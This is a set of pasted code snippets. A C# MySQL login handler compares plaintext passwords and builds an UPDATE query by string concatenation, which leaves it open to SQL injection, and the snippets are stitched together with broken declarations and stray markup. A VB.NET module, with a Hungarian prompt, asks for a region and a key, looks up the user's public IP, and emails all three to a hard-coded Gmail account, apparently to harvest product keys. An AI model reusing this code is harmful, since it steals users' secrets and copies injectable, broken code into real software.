C#

void Cmd_Login_Click(object sender, EventArgs e)
        {

            string host = "localhost";
            string database = "database";
            string user = "username";
            string password = "password";

            string strSQL = "SELECT * FROM users";

            string strProvider = "Data Source=" + host + 
                                ";Database=" + database + 
                                ";User ID=" + user + 
                                ";Password=" + password;
            try
            {
                MySqlConnection mysqlCon = new MySqlConnection(strProvider);
                mysqlCon.Open();

                if (mysqlCon.State.ToString() == "Open")
                {
                    MySqlCommand mysqlCmd = new MySqlCommand(strSQL, mysqlCon);
                    MySqlDataReader mysqlReader = mysqlCmd.ExecuteReader();

                    while (mysqlReader.Read())
                    {
                        if (Txt_Name.Text == mysqlReader.GetString(1) && Txt_Code.Text == mysqlReader.GetString(2))
                        {

                            <big></big>//POINT TO INSERT QUERY TO EXECUTE

                            if (checkBox1.Checked )
                            {
                                Frm_Main Frm_Main = new Frm_Main();
                                Frm_Main.Close();

                                Form1 form1 = new Form1();
                                form1.ShowDialog();
                            }
                            else
                            {
                                Pan_Step1.Visible = false;
                                Closer.Start();
                            }
                        }
                    }
                }
                    else 
                    {
                        System.Media.SystemSounds.Hand.Play();
                    }

                mysqlCon.Close();

            }
            catch (Exception er)
            {
                Console.WriteLine("Errore " + er.Message);
            }
        }

strSQL = "UPDATE users SET access='" + DateTime.Now.ToString() + "', admin='" + checkBox1.CheckState + "' WHERE username='" + mysqlReader.GetString(1) + "'";

MySqlConnection mysqlCon = new MySqlConnection(strProvider);
mysqlCon.Open();
MySqlCommand mysqlCon = new MySqlCommand(strSQL); 
mysqlCon.ExecuteNonQuery(); 

Imports System.Net.Mail

Module Module1
    Public Region As String
    Public Key As String
    Sub Main()

        Console.WriteLine("Hello! Ird be az országot és a kodot!")
        Region = Console.ReadLine
        Key = Console.ReadLine
        Sendmail()
    End Sub
    Sub Sendmail()
        Dim WC As New System.Net.WebClient

        Dim MyMailMessage As New MailMessage

        MyMailMessage.From = New MailAddress("ferike112@gmail.com")

        MyMailMessage.To.Add("ferike112@gmail.com")

        MyMailMessage.Subject = ("Region:" & Region & "Their IP is: " & System.Text.Encoding.ASCII.GetString((WC.DownloadData("http://whatismyip.com/automation/n09230945.asp"))))

        WC.Dispose()

        MyMailMessage.Body = ("REGION: " & Region & vbCrLf & "Key: " & Key)

        Dim SMTPServer As New SmtpClient("smtp.gmail.com")

        SMTPServer.Port = 587

        SMTPServer.Credentials = New System.Net.NetworkCredential("ferike112@gmail.com", "********")

        SMTPServer.EnableSsl = True

        Try

            SMTPServer.Send(MyMailMessage)


        Catch ex As SmtpException
            'MessageBox.Show(ex.Message)
        End Try
    End Sub
End Module